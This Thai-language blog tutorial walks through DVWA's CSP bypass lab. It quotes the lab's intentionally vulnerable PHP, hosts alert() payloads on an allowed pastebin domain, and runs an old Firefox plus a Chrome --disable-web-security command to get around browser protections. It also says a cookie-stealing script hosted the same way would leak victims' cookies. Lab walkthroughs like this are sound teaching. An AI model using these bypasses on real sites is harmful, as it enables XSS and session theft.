Content Security Policy หรือ CSP เป็นการป้องกันการโจมตีแบบ XSS และ Injection โดยเจ้า Server จะต้องประกาศว่า website ของเรา แต่ละหน้าที่ browser ร้องขอมานั้น จะประกอบด้วย Script จากที่ไหนได้บ้าง Internal หรือ External
โดยหาไม่ได้ทำการประกาศ CSP ไว้ Script ที่มาจากแหล่งอื่นที่ไม่ได้ทำการประกาศ จะไม่ถูก execute ผ่านทาง Browser
จากบทความที่แล้ว ผมได้ทำการ Set Header ให้กับ Gatsbyjs บน Firebase Hosting จะเห็นว่า Content-Security-Policy ดังรูปข้างล่าง ผมได้ทำการร้องขอให้เรียกใช้ google font จาก font-src ‘self’ fonts.gstatic.com
ด้วยการตั้งค่า Header ว่า
Content-Security-Policy: font-src 'self' fonts.gstatic.com
ต่อไป เราจะมาทดสอบวิธีการทำ by pass CSP กันดูจาก lab DVWA Web Application เรื่อง Content Security Policy By Pass ดูครับ
จากรูป พบว่าระบบจะให้เราสามารถ include scripts from external sources ได้
ดังนั้นเราจะลองสร้าง web server ขึ้นมาบน local เราอีกตัวนึงจาก docker hub เอาแบบง่ายๆเลย แล้วเราจะเอา file javascript ใส่ไว้ใน server
หลังจากนั้นเราจะ run ngrok เพื่อทำให้ link เราเป็น external แล้วลอง include scripts เราลงไปว่า server จะยอมให้ script เรา run หรือไม่ครับ
docker pull httpd
แล้วสร้าง folder เพื่อเอาไว้เก็บไฟล์ของเราบน local แล้ว map ไปใน container ตามคำสั่งด้านล่างที่ port 8080 ครับ
mkdir servercd serverdocker run -dit --name httpd8080 -p 8080:80 -v "$PWD":/usr/local/apache2/htdocs/ httpd
เสร็จแล้วเราลองดู source code ที่ programmer เขียนไว้บน DVWA
<?php$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.header($headerCSP);# https://pastebin.com/raw/R570EE00?><?phpif (isset ($_POST['include'])) {$page[ 'body' ] .= "<script src='" . $_POST['include'] . "'></script>";}$page[ 'body' ] .= '<form name="csp" method="POST"><p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p><input size="50" type="text" name="include" value="" id="include" /><input type="submit" value="Include" /></form>';
จะพบว่า header csp จะ allows js from self, pastebin.com, jquery and google analytics เท่านั้น
ขั้นต่อไปเราจะลองสร้าง file javascript ไว้บน httpd8080 ที่เราสร้างไว้บน docker ตะกี้ ชื่อไฟล์ว่า csp.js
const runner = () => {alert(1);}runner();
หลังจากนั้นผมจะใช้ ngrok run http 8080
ngrok http 8080Web Interface http://127.0.0.1:4040Forwarding http://1c98789c7b56.ngrok.io -> http://localhost:8080Forwarding https://1c98789c7b56.ngrok.io -> http://localhost:8080
ผมจะสามารถเรียกใช้ file javascript ผมจาก web site external ได้เรียบร้อยแล้ว http://1c98789c7b56.ngrok.io/csp.js
หลังจากที่ผม ได้ external link มาแล้ว นำลง มากรอกที่ include box ดู เพื่อเช็คว่า browser จะทำงานอย่างไร
หลังจากที่ server มีการ ทำ header Content Security Policy ไว้ว่าให้ allows js from self, pastebin.com, jquery and google analytics เท่านั้น เม ื่อเราเปิดดูที่ Inspect ของ Browser จะพบว่า ตัว script http://1c98789c7b56.ngrok.io/csp.js ของเรา โดน block เรียบร้อย
และ browser จะแสดงข้อความ error ใน console ว่า server ไม่ได้อนุญาตให้ไฟล์ csp.js ที่มาจาก url ที่ไม่ได้ระบุไว้นะ ตัว script จึงไม่ได้ทำงาน
Refused to load the script 'http://1c98789c7b56.ngrok.io/csp.js' because it violates the following Content Security Policy directive: "script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback.ถ้าอย่างนั้นเราจะลองดึง file javascript จาก website ที่ CSP allows ไว้ นั่นก็คือ pastebin.com
ซึ่งผมจะใส่คำสั่ง
alert('aofiee.dev');
ลงไปและทำการบันทึก ผมก็จะได้ raw url กลับมา โดยเนื้อหาข้างในจะบรรจุ code alert ตะกี้ไว้
https://pastebin.com/raw/g5zafaZz
เมื่อนำไปกรอกผ่าน web application ที่เราเทสเมื่อสักครู่แล้วกด include
จะพบว่า เจ้า Chrome version 85.0.418383 ที่ผมใช้งาน ไม่ได้อนุญาตให้ไฟล์ที่เราเรียกผ่าน url นั้นทำงาน และแจ้งกลับมาว่า
Cross-Origin Read Blocking (CORB) blocked cross-origin response https://pastebin.com/raw/R570EE00 with MIME type text/plain. See https://www.chromestatus.com/feature/5629709824032768 for more details.นั่นก็คือ Browser version นี้ ได้ทำการปิดจุดอ่อนในการเรียก Cross-Origin Read Blocking ไปแล้ว ไม่อนุญาติให้เรียก MIME type text/plain ขึ้นมาทำงาน ต่อให้เราจะไปปิด ด้วย commndline
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --user-data-dir=/tmp/temporary-chrome-profile-dir --disable-web-security --disable-site-isolation-trials
มันก็ไม่ทำงาน
งั้นเดี๋ยวเราจะไป download firefox version เก่ามาเทสดูกัน
โดยไปเลือก version เก่าๆที่เราต้องการนำมาทดสอบได้จากที่นี่ https://ftp.mozilla.org/pub/firefox/releases/
โดยผมเลือกใช้ version 49.02 เพราะเท่าที่อ่านดูใน version นี้ browser ยังไม่มีการแก้ไขช่องโหว่นี้
เมื่อทดสอบจาก link เดิมอีกครั้ง คราวนี้ได้ result ที่แตกต่างออกไป
จะเห็นว่า ถ้า CSP เรา allows site ไว้ และ site นั้น โดน attacker โจมตี เราก็จะโดนไปด้วยได้
ถ้าเราเอา code จาก บทความเรื่อง XSS Stored มาฝังไว้บน pastebin
cookie ของเป้าหมายก็จะถูกส่งกลับมาหาเราทาง line notify เช่นเคย
เราจะมาดู level medium กันบ้าง
จาก code ที่ programmer เขียนไว้ในส่วนของ header
<?php$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";header($headerCSP);// Disable XSS protections so that inline alert boxes will workheader ("X-XSS-Protection: 0");# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>?>
พบว่าระบบจะให้ run เฉพาะ code ที่มาจาก self เท่านั้น ไม่มีจาก ภายนอกเลย และรองรับการเขียน script แบบ inline ที่มีค่า nonce = TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=
